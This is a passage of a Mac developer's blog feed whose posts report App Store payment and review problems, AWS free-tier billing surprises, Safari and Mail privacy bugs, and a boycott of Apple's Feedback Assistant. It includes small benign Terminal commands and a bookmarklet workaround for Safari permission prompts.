Oddly, the original support document URL https://support.apple.com/en-us/HT202491 now redirects to a slightly different support document URL https://support.apple.com/en-us/102445, though the content of the two documents remains mostly the same.

Apple's broken promise is shameful. The company apparently hopes we forget that it ever made the promise. Apple talks a good game, claiming "privacy is a fundamental human right", yadda yadda, but talk is cheap. When it comes to our right to stop our devices from phoning home to Cupertino, Apple is not interested. And if we can't trust Apple to keep its promises, then why should we trust anything else that Apple says, such as that our IP addresses are not logged? After all, it's impossible for us to verify this from the outside. Trust is earned through actions, and in this case Apple has neglected to act.

At this point, the only way to protect your own privacy is to use a firewall such as Little Snitch to block the connections.

Feedback Assistant Boycott

]]>
Has Apple underpaid App Store developers AGAIN? https://lapcatsoftware.com/articles/2024/8/2.html 2024-08-02T21:45:00Z 2024-08-03T17:05:00Z Yesterday, App Store developers were paid for app purchases made during the period of June 2 through June 29, 2024. You may recall that Apple underpaid App Store developers for app bundle purchases made in February through May, due to a bug in Apple's accounting software. I wrote about this issue originally on May 10, with a follow-up on June 3. Fortunately, that issue appeared to be resolved. Unfortunately, a new issue appears to have arisen now.

Here's what I wrote in May:

I know that I'm making too little money rather than too much money because my actual recent payments from Apple are significantly smaller than the estimated proceeds over the same period in the Trends section of App Store Connect, which is how I noticed the issue in the first place, triggering my detailed investigation. I found that the estimated unit sales in Trends were about the same as the unit sales in the financial reports, despite the large disparity in proceeds. This is what led me to scrutinize every line item in the reports, where I found what appears to be an accounting error, a double subtraction from my proceeds.

Obviously, after that incident, I've been keeping a close eye on my App Store proceeds. When I compared App Store Connect Trends with App Store Connect Reports for the period of 6/2–6/29, I found a huge discrepancy in both proceeds and unit sales. The amount I was actually paid was only 56% of the estimate, for unit sales that were only 65% of the estimate. This is in gross contrast to the previous pay period of 5/5–6/1, when the amount I was actually paid was 98% of the estimate, for unit sales that were 99% of the estimate. Indeed, in most months the actual payment and the estimate are almost the same. June was a glaring exception.

Unlike with the previous underpayment problem, I don't have a "smoking gun" this time. There's no obvious problem in the line items of the financial reports. The app bundles do appear to be priced correctly. The problem now is just that a bunch of unit sales appear to be missing, along with the corresponding proceeds from those unit sales. I have no idea why.

I'm appealing to other App Store developers to make the same comparison that I did. Look at your financial reports from the June pay period as well as your proceeds and unit sales from 6/2–6/29 in App Store Connect Trends. If you find a large discrepancy, please let me know! And let the rest of the world know, via your own blogs or social media.

Addendum

I've been looking at the line items in the June financial reports for the United States. Almost two-thirds of my sales come from the United States (probably because my apps are not localized). I have nine products for sale in the App Store: StopTheMadness Pro, StopTheMadness Pro Upgrade Bundle, StopTheMadness Pro Mobile Upgrade Bundle, StopTheMadness, StopTheMadness Mobile, Homecoming for Mastodon, Link Unshortener, StopTheFonts, and StopTheScript. What's interesting is that all nine of the products appear to be undercounted in unit sales for June. There's no single product that stands out as causing the discrepancy. Thus, it's clearly not the same problem with app bundle pricing as before.

Addendum 2

After a couple of very helpful replies on Mastodon by fellow App Store developers, I now believe that Apple has not actually underpaid us in this case. Rather, there appears to be a software bug in App Store Connect Trends that causes unit sales to be doubled or even quadrupled starting on June 21, which accounts for the discrepancy with the financial reports. According to Michel Fortin,

Trends reports two sales of a particular IAP on the same day of June, while the financial report contains only one such purchase. The interesting thing is my app pings back my server for this IAP and I only see one matching purchase there. So if I had to guess: Trends double-count some transactions in some cases.

Inspired by this comment, I took a look at the daily unit sales for my lower-selling apps, i.e., everything other than StopTheMadness. ;-) These apps average less than one sale per day, which makes it a lot easier for me to identify individual sales. With four different apps, I saw the same pattern: the unit sales in the financial reports matched App Store Connect Trends until June 21, when the Trends started showing multiples of the individual unit sales in the financial reports.

Graham Dawson also showed me a chart with unusually elevated App Store unit sales during a two week period around the same time.

Thus, I think I can say, tentatively, that the situation is not as bad as earlier in the year, and Apple probably isn't screwing us out of money this time. Still, it's a terrible bug in Apple's systems that should never happen. History's most profitable corporation, scrupulously demanding a cut of all our proceeds as a "service," and just announcing record "services" revenue, has no excuse for acting so carelessly when it comes to our livelihoods. I'm getting tired of having to do free Quality Assurance work for that corporation.

Addendum August 3 2024

I've found a post in the Apple Developer Forums discussing the discrepancy, which has been noticed by a number of App Store developers.

Yes, observed inflated Trends-sales numbers compared to Jun Payment and Financial Reports. What I observed and fascinating is that every unit number showing in Trends report from Jun 20 to Jun 30 is exactly double compared to actual sales showing in our in-app subscriptions management system.

Addendum 4

I found another post in the Apple Developer Forums that suggests the double counting of unit sales is an issue with time zones.

I'm looking at my proceeds for the period from June 2, 2024 to June 29, 2024 (payout to occur on August 1st) when switching between UTC and PST timezones the difference is drastic - almost $10,000 - is this just an error in reporting?

Feedback Assistant Boycott

]]>
Smart App Banners don't appear in private browsing https://lapcatsoftware.com/articles/2024/8/1.html 2024-08-02T14:50:00Z 2024-08-02T15:05:00Z Here's a tip for iOS app developers and mobile web developers: today I learned that Smart App Banners don't appear in private browsing. I haven't seen this documented anywhere!

Smart App Banners appear above a web page in Safari when the page includes a special HTML element, for example:

<meta name="apple-itunes-app" content="app-id=375380948">

You can tap the banner to download the app from the App Store.

My Safari extension StopTheMadness Pro hides Smart App Banners if its website option "Hide some app banners" is enabled.

This is how I learned that Smart App Banners don't appear in private browsing. I was trying to test the StopTheMadness Pro feature, but I couldn't find any examples on the web, because at the time I was using private browsing!

Smart App Banners are often confused with Universal Links, but they're two different, separate technologies. I've written about Universal Links before. Universal Links do appear in private browsing.

Notice that the OPEN button has a slightly different appearance in the Universal Link. Notice also that the Universal Link doesn't have a close widget to dismiss it. You can't hide Universal Links even if you want to. Not even StopTheMadness Pro can hide Universal Links, unfortunately, because they're not part of the HTML.

Feedback Assistant Boycott

]]>
Fix Safari Private Window Empty Page https://lapcatsoftware.com/articles/2024/7/2.html 2024-07-31T15:20:00Z 2024-07-31T15:20:00Z Dearest gentle reader, this author opens new Safari windows with an empty page, like a proper member of The Ton.

Safari General Settings

A new private window normally appears as below, untitled.

Safari Untitled

Back in April, I posted on Mastodon about a bug introduced in Safari Technology Preview version 192 that caused the start page rather than an empty page to be shown in new private windows. Although a later version of Safari Technology Preview fixed this bug, it nonetheless made its way into Safari version 17.5 and continues to plague Safari 17.6.

Safari Start Page

I thought the purpose of Safari Technology Preview was to find and fix bugs before they affected Safari?

Oddly, the wrong private window appeared on my Mac mini but not on my MacBook Pro. Naturally, then, I decided to diff the output of defaults read com.apple.Safari from the two Macs. After some experimentation, I discovered the culprit: the Safari defaults included the key PrivateBrowsingExplanationState on my MacBook Pro but not on my Mac mini. You can use the following Terminal command to work around the Safari bug and restore the empty page to new private windows.

defaults write com.apple.Safari PrivateBrowsingExplanationState -integer 1

Remember, gentle reader, you heard it first in these pages!

Yours Truly,
Jeff Johnson
(not a pseudonym)

Google: Your search - PrivateBrowsingExplanationState - did not match any documents.

Feedback Assistant Boycott

]]>
Deluge of Fake Mac App Store Reviews https://lapcatsoftware.com/articles/2024/7/1.html 2024-07-20T14:40:00Z 2024-07-20T14:40:00Z Yesterday I discovered a deluge of recent fake customer reviews for a number of top paid apps in the United States Mac App Store. (Each country has its own version of the App Store with separate reviews.) I've now checked the reviews for all of the current top 40 paid apps in the Mac App Store, and 8 of those apps have a large number of fake reviews during the period of June 11 through July 19. What the 8 apps have in common, besides the top paid list and the fake reviews, is that they're all relatively cheap, from $1.99 to $4.99 USD in price. Note that only buyers can leave App Store ratings and reviews for upfront paid apps, which makes this deluge of fake reviews especially odd. (Recipients of promo codes from the developer cannot leave ratings and reviews.) Here's the list of apps I found:

NameRankPriceReviewsDates
BetterSnapTool#9$2.9996July 6 - July 15
RAR Extractor#15$3.9954June 18 - July 15
Dynamic Wallpaper Engine#16$4.995Jun 27 - July 13
Wipr#23$1.9948July 1 - July 13
Vinegar#27$1.9935July 12
Dark Reader#29$4.9921June 11 - July 15
RapidClick#32$2.9951July 18 - July 19
Helper for GoPro Files#35$1.99102June 11 - July 18

At the end of this blog posts are screenshot thumbnails of the fake reviews for each of the apps with links to the full screenshot images. If you look closely at the screenshots, it becomes obvious that the reviews are fake, and you can see the same patterns repeating across all of the reviews. In most cases, the terse review text is identical to the review title— either something generic like "good app" or something nonsensical like "dacdiepsur2d6s"—and the user names are often variations of each other: Cool Game 31321, Cool Game 3132, Game Easy 02146, Okay Game 0326, Play Next 3262, PlayGameOks242, etc.

Curiously, RapidClick is the only app of the group with non-generic fake reviews. Most of RapidClick's fake reviews specifically mention clicking, which in my opinion seems a bit suspicious.

The majority of the fake reviews are 5 stars, so they would tend to raise the overall rating of the apps. And they're clearly worth something to somebody, because each fake review would cost at least the price of the paid app to purchase, which probably explains why these reviews are attached to low-priced apps. If a single developer purchased all of the fake reviews listed, it would cost $1152.88 plus tax, which is a bit pricey but still well within many advertising budgets.

It's worth noting, by the way, that the default review sort order in the App Store is by Most Helpful rather than by Most Recent, so potential customers browsing the App Store wouldn't necessarily see all of the fake reviews together like they appear in my screenshots, which are sorted by Most Recent.

The question is, why are we seeing all of these fake reviews around the same time across multiple top paid Mac App Store apps? I don't have an answer to this question. My pet conspiracy theory is that all of the fake reviews were purchased by a single developer as a cover for their app. If a bunch of apps have fake reviews, then the fake reviews for the developer's one app don't stand out as much, and there's plausible deniability. But that's only my theory, with no proof. I could be wrong. One thing is clear, however: Apple has completely failed to prevent, detect, or remove this deluge of fake reviews in the Mac App Store. There has been no curation.

BetterSnapTool:

RAR Extractor:

Dynamic Wallpaper Engine:

Wipr:

Vinegar:

Dark Reader:

RapidClick:

Helper for GoPro Files:

Feedback Assistant Boycott

]]>
Amazon Web Services dark patterns https://lapcatsoftware.com/articles/2024/6/7.html 2024-06-25T14:30:00Z 2024-06-25T14:30:00Z In April, a StopTheMadness Pro customer contacted me about an incompatibility with the Amazon Web Services Management Console. I had never used AWS before, but I noticed that it has a free tier, so I decided to sign up in order to debug the incompatibility. The first AWS dark pattern is that the free tier still requires payment information, e.g., a credit card number. Normally I wouldn't agree to this for a free service, but Amazon the corporation already has my credit card number, so I figured (wrongly) that there was no further harm in providing it to Amazon Web Services. For better or worse, though, an AWS account appears to be entirely separate from an Amazon consumer account.

Like everything involved with AWS, the free tier itself is very confusing. It has many product categories, some of which are "Free Trials", some "12 months free" (isn't that a trial?), and some "Always free". In my case, however, it didn't really matter, because I wasn't planning to use it for 1 month, much less 12 months. On April 17, I signed up for AWS. The initial email said:

Welcome to Amazon Web Services. Thank you for creating an Amazon Web Services (AWS) account. For the next 12 months, you'll have free access to all AWS services within the limits of the Free Tier.

Fortunately, I was able to reproduce my customer's issue (metrics weren't appearing in the management console), which I fixed in my source code the next day, April 18. Mission accomplished, I then stopped using AWS. The fix was released in StopTheMadness Pro version 6.0 on April 28. All's well that ends well, right?

A few days later, on May 2, I received an email from AWS:

Greetings from Amazon Web Services,

This e-mail confirms that your latest billing statement, for the account ending in ********, is available on the AWS web site. Your account will be charged the following:

Total: $103.26

Whaaaaaaaaaaaaaat…

I used the so-called "free" tier of AWS for one day and got charged over a hundred dollars?!?!? How is that even possible?

I immediately contacted AWS support, and after some back and forth, this is what they told me:

In this case the charges were caused for Amazon Relational Database Service for Aurora PostgreSQL, as you can see in our public documentation, Aurora PostgreSQL is not included in our RDS free tier policies.

RDS Free tier only inlcudes: Amazon RDS Single-AZ db.t2.micro, db.t3.micro, and db.t4g.micro Instances usage running MySQL, MariaDB, PostgreSQL databases. Take into consideration that, "PostgreSQL" and "Aurora PostgreSQL" are not the same.

I'm aware of PostgreSQL of course, but I had never heard of Aurora PostgreSQL. What is Aurora PostgreSQL? According to the AWS documentation:

Amazon Aurora PostgreSQL is a fully managed, PostgreSQL–compatible, and ACID–compliant relational database engine that combines the speed, reliability, and manageability of Amazon Aurora with the simplicity and cost-effectiveness of open-source databases. Aurora PostgreSQL is a drop-in replacement for PostgreSQL and makes it simple and cost-effective to set up, operate, and scale your new and existing PostgreSQL deployments, thus freeing you to focus on your business and applications. To learn more about Aurora in general, see What is Amazon Aurora?.

I have to disagree vehemently with "cost-effective", but what is Amazon Aurora?

Amazon Aurora (Aurora) is a fully managed relational database engine that's compatible with MySQL and PostgreSQL. You already know how MySQL and PostgreSQL combine the speed and reliability of high-end commercial databases with the simplicity and cost-effectiveness of open-source databases. The code, tools, and applications you use today with your existing MySQL and PostgreSQL databases can be used with Aurora. With some workloads, Aurora can deliver up to five times the throughput of MySQL and up to three times the throughput of PostgreSQL without requiring changes to most of your existing applications.

Aurora is part of the managed database service Amazon Relational Database Service (Amazon RDS).

Ok, I see. (Not really.) As far as I can tell, the confusingly named Aurora PostgreSQL is not actually PostgreSQL but rather an Amazon-specific database designed with one overriding goal: to be infinitely more expensive than PostgreSQL, which is free. In any case, the AWS Free Tier details give the impression to unsuspecting new users that PostgreSQL is free, without making an explicit distinction between true PostgreSQL and Amazon's faux PostgreSQL.

AWS Free Tier details

The worst part is that when you enable Aurora PostgreSQL on the free tier, which I apparently did without knowing exactly what Aurora meant, Amazon does not warn you that you're about to be charged an obscene amount of money. And I didn't even use the database, as far as I know. I certainly didn't add any data to the database. I was just turning on some features in order to reproduce my customer's issue with the AWS dashboard.

A so-called "free" tier that becomes paid with no warning is a very dark pattern.

The good news is that my AWS support inquiry eventually resulted in a refund:

I'm happy to inform you that, as one-time exception, we’ve approved a billing adjustment of $102.04 USD for charges on your April bill which has been applied as a refund to your credit card and $14.15 USD on your May bill, which has been applied as a credit to your account, both bills for the RDS service.

The eagle-eyed reader may have noticed that my April bill was $103.26, whereas the April refund was only $102.04, a difference of $1.22. It turns out that Amazon refunded me only for the Relational Database Service charge, but there was also a $1.22 charge for CloudWatch that was not refunded.

Amazon CloudWatch is a service that monitors applications, responds to performance changes, optimizes resource use, and provides insights into operational health.

Again, when I enabled CloudWatch on the free tier, there was no warning that I would be charged money for it.

I could have argued with AWS support again to get a refund for CloudWatch, but it didn't seem worth the effort. I got charged $1.22 for CloudWatch in April and $0.17 in May, which is a price I'm willing to pay to learn a valuable lesson here. Hopefully I won't get charged any more, since I disabled both Aurora PostgreSQL and CloudWatch after receiving the bill and have now closed my AWS account.

Since this is the internet, no doubt some anonymous social media commenters will engage in typical victim blaming, smugly suggesting that everything is my fault for not reading the documentation. I would suggest, however, that these commenters have never read the AWS documentation either. Here it is, have at it! I'll give you a quiz afterward. The AWS documentation is, in a word, massive, just as AWS itself is massive. I would also suggest that there's something very wrong with an internet service if you have to wade through the fine print of the service's massive documentation just to discover that you can suddenly and silently incur a cost of hundreds of dollars per month for a feature on a specific tier advertised by the service as free. That's a dark pattern, and while you're assigning blame to me, calling me a fool, I would ask how much blame you would assign to Amazon for creating the dark pattern and encouraging AWS users to make fools of themselves?

Feedback Assistant Boycott

]]>
Safari bookmarklet permissions https://lapcatsoftware.com/articles/2024/6/6.html 2024-06-22T12:20:00Z 2024-06-22T12:20:00Z A bookmarklet is a bookmark stored in a web browser that contains JavaScript commands. Here's a simple, useless example:

javascript:alert('Hello,%20World!');

To run bookmarklets in Safari on macOS, you need to enable "Show features for web developers" in Safari Advanced Settings and "Allow JavaScript from Smart Search field" in Safari Developer Settings.

Michael Tsai of C-Command Software has a list of some useful bookmarklets for his app EagleFiler. Here's an example that archives the URL and title of a web page in EagleFiler, using its x-eaglefiler custom URL scheme:

javascript:window.location='x-eaglefiler://import?url='+encodeURIComponent(window.location)+'&format=webloc&title='+encodeURIComponent(document.title);

The problem is that Windows Vista, err, Safari requests permission to open a URL in another app.

Do you want to allow this website to open EagleFiler.app?

As I explained in a blog post last year, when you select Always Allow, the permission you granted is stored in a database.

sqlite3 ~/Library/Safari/PerSitePreferences.db .dump | grep PerSitePreferencesOpenApplications
INSERT INTO preference_values VALUES(9,'underpassapp.com','PerSitePreferencesOpenApplications','x-eaglefiler',NULL,NULL,NULL);

The permission is per-website, which means that every time you use the EagleFiler bookmarklet on a different website, Safari requests your permission again!

When Michael presented me with this problem, I said to him, "I have spent my whole life trying to figure out crazy ways of doing things. I'm telling ya, as one engineer to another - I can do this." Ok, that was actually Scotty to Geordi in the episode "Relics" from Star Trek: The Next Generation, but I find the quote inspiring, and I have indeed spent my whole career trying to figure out crazy ways of doing things. To wit:

javascript:var%20w=window.open();var%20a=w.document.createElement('a');a.href='x-eaglefiler://import?url='+encodeURIComponent(window.location)+'&format=webloc&title='+encodeURIComponent(document.title);w.document.body.append(a);a.click();

This JavaScript first calls window.open(), which creates a new about:blank tab. It then creates an HTML anchor element—in other words, a hyperlink—adds the link to the about:blank document, and clicks the link automatically. The link opens the desired x-eaglefiler URL. When you select Always Allow at the permissions prompt, the database adds a new entry:

INSERT INTO preference_values VALUES(10,'','PerSitePreferencesOpenApplications','x-eaglefiler',NULL,NULL,NULL);

This time the value of the domain is empty (''), because about:blank has no domain. The about:blank trick allows you to use the same bookmarklet on every website without any additional permission prompts!

After you've granted permission to the empty domain, you can append w.close(); to the bookmarklet so that the new tab closes automatically.

Obviously, the same technique will work for other bookmarklets that have different URL schemes and URL formats. It's generalizable. Instead of trying to set window.location in your bookmarklet, which uses the permissions of the current page, fake click a fake link in a new empty tab, which uses the permissions of empty tabs.

Feedback Assistant Boycott

]]>
Advanced tracking and fingerprinting protection breaks Safari extensions https://lapcatsoftware.com/articles/2024/6/5.html 2024-06-15T14:25:00Z 2024-06-15T14:25:00Z Advanced tracking and fingerprinting protection is in the Safari Advanced Settings on both iOS and macOS. The setting has three options: disabled, enabled in private browsing, or enabled in all browsing. Last year I wrote about why I disabled advanced tracking and fingerprinting protection in Safari. This year I found another reason: it breaks my Safari extension StopTheMadness Pro! To see why, enable advanced tracking and fingerprinting protection, then click this example link: https://underpassapp.com/test/gtag.html?q=search

Here's the source code of gtag.html:

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="initial-scale=1.0">
<title>Google Analytics Example</title>
</head>
<body>
<script src="https://www.googletagmanager.com/gtag/js"></script>
<script src="https://underpassapp.com/test/gtag.js"></script>
<script src="https://lapcatsoftware.com/test/gtag.js"></script>
</body>
</html>

Here's the source code of gtag.js:

var div = document.createElement("div");
div.innerHTML = `
<p><code>document.currentScript.src = "${document.currentScript.src}"</code></p>
<p><code>location.href = "${location.href}"</code></p>
<p><code>location.search = "${location.search}"</code></p>
<hr>
`;
document.body.append(div);

And here's the output:

document.currentScript.src = "https://underpassapp.com/test/gtag.js"

location.href = "https://underpassapp.com/test/gtag.html?q=search"

location.search = "?q=search"


document.currentScript.src = "https://lapcatsoftware.com/test/gtag.js"

location.href = "https://underpassapp.com/test/gtag.html"

location.search = ""


Notice that the query string ?q=search is available to the first-party script but not to the third-party script, even though the script has the same source code in both cases. I've discovered that this divergence occurs whenever a web page loads a "known tracker", as defined by Safari advanced tracking and fingerprinting protection. The list of known trackers is stored in a file on your device. To reveal this file in macOS Finder, run the following command in Terminal app:

open -R $(getconf DARWIN_USER_CACHE_DIR)com.apple.WebPrivacy/URL_FILTER.wplist

The file consists of Safari content blocker rules. For example, here's the content blocker rule corresponding to the script https://www.googletagmanager.com/gtag/js loaded by my test page:

{"trigger":{"resource-type":["fetch","image","other","script"],"url-filter":"^[^:]+://+([^:/]+\\.)?googletagmanager\\.com\\/gtag\\/js","url-filter-is-case-sensitive":1,"load-type":["third-party"],"unless-domain":["*novaivf.com"]},"action":{"type":"block"}}

If you open the web inspector console on my test page, you'll see a message that says, "Blocked connection to known tracker https://www.googletagmanager.com/gtag/js".

For some bizarre reason, the domain novaivf.com is exempted from the content blocker rule. Nova IVF are "Fertility Specialists & Individualized IVF Protocols located in Mountain View, CA".

The way advanced tracking and fingerprinting protection appears to work is that if it blocks at least one third-party tracking script on a web page, then it also prevents every third-party script on the page from accessing the URL query string. The assumption seems to be that the existence of one confirmed tracking script on the page raises the odds of other tracking scripts that are not (yet) included in the list of known trackers. I'm guessing that the URL query string is made inaccessible because the query string could include tracking parameters, some of which are also blocked by advanced tracking and fingerprinting protection, as explained by my blog post about Safari link tracking protection.

The problem with this "protection" is that it can break innocent third-party scripts. Even worse, Safari extension content scripts are treated as third party! As a consequence, advanced tracking and fingerprinting protection breaks several features of StopTheMadness Pro. For example, there's a keyboard shortcut to copy the page URL, but the extension is prevented from accessing the full, correct URL.

The query-hiding behavior that I've described in this blog post is not documented by Safari, as far as I know. I had to discover everything through a long process of trial and error after a strange bug report from a customer. By the way, it happens only as the result of a link click. If you copy the URL https://underpassapp.com/test/gtag.html?q=search and paste it into the Safari address bar, the googletagmanager script still gets blocked, but other third-party scripts, including Safari extensions, get proper access to the URL query. The difference seems a bit odd, because if all third-party scripts are considered suspect in one case, why are they considered innocent in the other case?

Feedback Assistant Boycott

]]>
Stop iCloud Keychain with a profile https://lapcatsoftware.com/articles/2024/6/4.html 2024-06-05T14:15:00Z 2024-06-05T14:15:00Z This is a follow-up to my blog post macOS Sonoma silently enabled iCloud Keychain despite my precautions. A follower on Mastodon gave me a nice tip on how to prevent this in the future: create a configuration profile.

First, download the Apple Configurator app from the Mac App Store. Then open Apple Configurator, select New Profile from the File menu, uncheck Allow iCloud Keychain in Restrictions, and save the .mobileconfig file.

Apple Configurator New Profile

Open the file in Finder to install the profile, and approve the profile in the Privacy & Security pane of the System Settings. The Profiles section is at the bottom. Here's my profile:

No iCloud Keychain

For good measure, I also disallowed iCloud Photos, Siri (Assistant, which I've literally never used), Diagnostic Submission, and Apple Personalized Advertising. The other restrictions, technically non-restrictions in this case, were not changed by me from the defaults but just came along with the profile file.

As you can see, these settings are now disabled in System Settings and warn, "This setting has been configured by a profile."

iCloud Passwords & Keychain: This setting has been configured by a profile. iCloud Photos: This setting has been configured by a profile. Analytics & Improvements: This setting has been configured by a profile.

Problem solved… hopefully. I haven't actually tested whether a profile prevents the bug where macOS updates automatically enable iCloud Keychain. If it doesn't, though, then that would be an even more massive bug!

Feedback Assistant Boycott

]]>
WWDC Boycott of Feedback Assistant https://lapcatsoftware.com/articles/2024/6/3.html 2024-06-04T16:45:00Z 2024-06-04T16:45:00Z I really want to report bugs to Apple. In fact I do frequently report bugs to Apple via the WebKit Bugzilla. I want to report bugs to Apple so badly that sometimes I write entire blog posts here about Apple bugs. But Apple's Feedback Assistant is a frustrating nightmare, for a number of reasons, and I'm refusing to use it. Back in November I blogged about the Apple developer boycott of Feedback Assistant, which also has an official web page. I won't rehash the list of reasons for the boycott from the earlier blog post; if you've used Feedback Assistant frequently, you can probably come up with a similar list off the top of your head. The point of mentioning the boycott again now is that Apple's Worldwide Developer Conference (WWDC) starts next week. At that time, developers will have our maximum leverage. Apple needs us as an unpaid QA labor force to test their beta operating systems, find bugs, and report them. The news media covering WWDC is also interested in developer impressions. WWDC is the perfect time to strike, that is, to go on strike.

Working within the system, filing bugs against Feedback Assistant itself, has proven futile. Over many years, decades even, countless bugs have been filed against Feedback Assistant and its predecessor Radar, yet Feedback Assistant remains fundamentally terrible, hostile to developers. At best, it has received a few minor, superficial, palliative tweaks—lipstick on a pig, as it were—but nothing to alter the relationship between Apple and developers. The bug reporting system doesn't treat developers with respect, as valuable contributors to the system.

We know that Apple can do better. Apple has done better with the aforementioned WebKit Bugzilla, for example, which is not a perfect bug reporting system by any means (my pet peeve is that it doesn't allow multiple simultaneous file attachment uploads), but it's certainly tolerable. You can actually search for existing WebKit bugs! What a concept, eh? You can have direct, intelligible, intelligent conversations with WebKit engineers. You're not asked to pointlessly "verify" unfixed bugs with the latest version of Apple's software… ok, I'm starting to rehash the reasons for the boycott, so I'll stop. My point is that Feedback Assistant is the absolute worst bug reporting system I've ever used, from any company or organization. Apple can do better, much better, but they refuse to do better voluntarily, so if we want Feedback Assistant to be better, we have no choice except to force Apple into action. That's what the boycott is about, refusing to file any bugs at all until Apple concedes that they need to improve the bug filing system in specific ways (listed here).

Some people will declare the failure of this effort prematurely—vacuously, before WWDC has started—claiming that the boycott will never work. I urge you to ignore them, because they preach a self-fulfilling, self-defeating prophesy. Frankly, the "nothing better is ever possible" people are allowing the entire world to go to hell. Perhaps the boycott will fail, but how could we know for sure unless we try? There's no shame in earnest failure, but I'd say there's great shame in utter complacency. The boycott doesn't even take a lot of individual effort. On the contrary, it takes almost no effort, indeed less effort than filing Feedbacks. Just don't file Feedbacks. If you're deeply dissatisfied with Feedback Assistant, this may be your one and only opportunity to be part of a collective effort to change it. Let's try!

Feedback Assistant Boycott

]]>
macOS Sonoma Mail bug: spam bypasses Block All Remote Content https://lapcatsoftware.com/articles/2024/6/2.html 2024-06-04T13:35:00Z 2024-06-04T13:35:00Z Mail app on macOS has a privacy setting Block All Remote Content that prevents downloaded emails from connecting to the internet. For example, HTML emails frequently include image links, which can be used for tracking: when the image is loaded from a remote server, the owner of the server knows that you've opened the email! Block All Remote Content is supposed to prevent this kind of tracking, and it did… until macOS Sonoma.

Mail app Privacy Settings

I give most of the credit for this discovery to an anonymous Reddit user and to Little Snitch. (I've not yet tried the new Little Snitch version 6, because I've been very busy, but hopefully I'll have some time this weekend.) The story starts four months ago, when I saw a Reddit post on r/MacOS:

Hello! I have some concerns about Apple Mail privacy.

In Mail settings, I enabled the "Block all remote content" checkbox.

But in Little Snitch (firewall) I see that the Mail app tries to send requests to different domains. And I can't understand why.

At the time, I was still running macOS Ventura, while the Reddit user was on Sonoma, and I couldn't reproduce their issue. However, I flagged the Reddit user's reply in Mail app for later, because I knew that I'd be updating from Ventura to Sonoma before WWDC in June, which indeed I did recently.

In Little Snitch, my Mail app rules allow outgoing connections to the IMAP servers of my email accounts (I use four different email providers LOL) and block all other outgoing connections. After reading the old Reddit post again, I checked Little Snitch Network Monitor, and sure enough it showed a number of blocked outgoing connections to random domains other than my email providers. All of these blocked connections occurred after I updated from Ventura to Sonoma. This seemed to confirm the issue previously experienced by the Reddit poster.

I searched the ~/Library/Mail/ folder for the random domains (using Find Any File). The matched emails (.emlx files) all appeared to be in Junk or Trash folders. To further diagnose the issue, I disabled my Little Snitch rule that blocked outgoing connections from Mail app. With that rule disabled, I would start to get a confirmation dialog from any outgoing connection that wasn't already allowed by the rules. In other words, I would see any connection attempts that aren't to my email providers. And I did see some!

Little Snitch: Mail wants to connect to cdn.pixabay.com on TCP port 443 (https)

This came from an email that Mail app had automatically marked as junk. Ironically, it wasn't actually junk. I had just signed up for a Pixabay account, and this was their "Confirm your email" message. (By the way, Mail app has another bug that started with macOS Ventura: "There's no way to mark a message as Not Junk", which I reported to Apple a year ago as FB12217912 and still isn't fixed on Sonoma.)

The remote connection attempt doesn't occur when I open the email. I can manually open the email without triggering a connection. (Note that I use the old-style Column Layout in Mail app with no preview pane, and each email opens in a separate window.) In this case, the remote connection attempt occurred when I opened Mail app itself and the new email was downloaded.

Later, I got another connection attempt to a random server. This time it was actually junk mail, but again ironically, Mail app had not marked it as junk. The message was in my inbox, and I opened it, noticed it was spam, and pressed the Junk button in the toolbar (Move selected messages to Junk). Immediately, the Little Snitch dialog appeared.

Little Snitch: Mail wants to connect to live.staticflickr.com on TCP port 443 (https)

Aha! The smoking gun. For some reason, Sonoma Mail app ignores the Block All Remote Content setting and attempts to load remote content whenever an email is marked as junk, whether automatically or manually.

Apple engineers should install Little Snitch themselves, and maybe they'd catch bugs like this. Incidentally, a number of years ago (when I was still desperate), I applied for a job with the Apple Mac Mail team, but I never heard from them. I guess they didn't like my, uh, many years of Mac development experience. Anyway, their loss. Or maybe everyone's loss? It's too late now, because I'm happy and successful as an indie developer, though I could do without the Mail bugs. Yes, I'm trash talking here, but that seems apposite when the subject is spam.

Feedback Assistant Boycott

]]>
Follow-up on developer payments for App Store bundle purchases https://lapcatsoftware.com/articles/2024/6/1.html 2024-06-03T14:10:00Z 2024-06-03T14:10:00Z This is a follow-up to my blog post Apple started cheating me out of App Store bundle purchases. The good news is that Apple appears to have resolved most of the issues. Let me give a timeline:

May 9: By closely analyzing my App Store Connect financial reports, I discovered that Apple appeared to be underpaying me for StopTheMadness Pro upgrade bundle purchases, starting in February and continuing through April, due to a double subtraction error. That night, I sent a message to Apple Media Services Finance Support, informing them of the issue. I received an automated email reply from Apple with a case number (7345705).

May 10: I published the aforementioned blog post.

May 15: The blog post is linked by Daring Fireball and Apple Insider. Later that day, an Apple representative called me on the phone. I described the call in an update to my blog post:

I was told that there was indeed a software bug in the bundle pricing calculation, which was fixed yesterday. I was also told that affected developers such as myself would be compensated for our lost revenue, and I'll receive a follow-up email later.

The Phone app indicates that the call lasted only two minutes. It felt longer, but I suppose I can't dispute my own iPhone.

May 22: Having heard nothing since May 15, I called the Apple representative, who said I could call back if I needed anything. I left a voicemail message asking for an update by phone or email.

May 31: I received a generic-looking email from developer@email.apple.com (Reply-To: noreply-appledev@email.apple.com) with the title "Upcoming Proceeds Adjustment":

Hello Jeff,

We’re reaching out to let you know of a bug that resulted in an underpayment to your account.

This bug has been resolved and no action is needed on your part. Apple will calculate your underpaid proceeds and issue a one-time adjustment soon, which will appear in your Payments and Financial Reports in App Store Connect.

If you have any questions, please contact us.

The Apple Developer Relations Team

I assume that this was a form letter sent to all affected developers who sell App Store app bundles, although I haven't yet heard of anyone else receiving the same email. If you also got it, please let me know! The email did not include my case number with Apple Media Services Finance Support. To date, I've never received a follow-up on my case number. It was clear from my one phone conversation with the Apple representative (who never responded personally to my subsequent voicemail) that they learned of my situation from the news media rather than from my case with Apple Media Services Finance Support.

I checked my financial reports for April, and I found a new, large, lump sum addition. It's listed on the Americas (USD) line under Taxes and Adjustments. (In most cases, Taxes and Adjustments are $0.00, except for Brazil (BRL), which by Brazilian law has some kind of tax subtraction every month.) The lump sum addition is scheduled to be paid along with my other April proceeds on June 6.

